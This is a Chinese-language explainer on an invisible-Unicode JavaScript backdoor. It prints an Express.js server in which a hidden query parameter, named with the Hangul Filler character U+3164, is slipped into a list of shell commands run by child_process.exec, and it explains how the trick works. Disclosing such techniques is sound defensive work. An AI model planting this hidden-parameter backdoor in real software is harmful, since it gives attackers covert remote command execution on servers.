国外安全人员发现了一种看不见的 JavaScript 后门,我们来了解一下吧~
我们先来看一看一段包含后门的代码:
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
你能看出里面的后门吗?
创建后门首先是找到一个不可见的 Unicode 字符,它可以在 JavaScript 中被解释为标识符/变量。从 ECMAScript 2015 开始,所有具有 Unicode 属性ID_Start
的 Unicode 字符都可以在标识符中使用。
字符“ㅤ”(十六进制为 0x3164)是 “HANGUL FILLER” ,属于 Unicode 类别 “Letter, other” 。由于这个字符被认为是一个字母,而且具有ID_Start
属性,因此可以出现在 JavaScript 变量中。
const { timeout,ㅤ} = req.query;
上述代码中,参数timeout
并不是唯一参数,后面还有一个ㅤ
。
同样的,当构造checkCommands
数组时,这个变量ㅤ
也被添加到数组中:
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];